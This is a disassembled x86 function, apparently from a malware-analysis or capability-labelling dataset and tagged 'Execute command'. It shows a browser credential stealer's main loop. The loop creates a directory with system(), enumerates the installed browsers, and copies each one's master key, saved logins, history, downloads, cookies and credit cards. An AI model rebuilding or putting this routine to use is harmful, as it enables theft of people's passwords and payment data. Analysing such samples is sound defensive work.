Function at 0x4046ce
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x442ac0
call sym._strcpy
mov dword [ebp - 0x10], 0x423ec5
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40474d
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.mkdir__s
lea eax, [ebp - 0x98]
mov dword [esp], eax
call sym._sprintf_5
lea eax, [ebp - 0x98]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40474d
mov dword [esp], str.Create_dst_dir_failed
call sym._puts
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._installed_browsers
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xc], 0
jmp 0x4049dd
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ecx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_master_key_file
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4047cb
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.Copy_master_key_failed:__s_n
call sym._printf_3
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_login_data
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40482f
mov dword [esp], str.Copy_Login_Data_failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_web_history
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x404893
mov dword [esp], str.Copy_web_history_failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_downloads
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x4048f7
mov dword [esp], str.Copy_downloads_failed
call sym._puts
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_cookies
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x404975
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str.Copy_cookies_failed:__s_n
call sym._printf_3
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 8
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, 4
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*4]
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._get_credit_cards
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x4049d9
mov dword [esp], str.Copy_cards_failed
call sym._puts
add dword [ebp - 0xc], 1
mov eax, dword [0x442cb4]
cmp dword [ebp - 0xc], eax
jb 0x404767
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret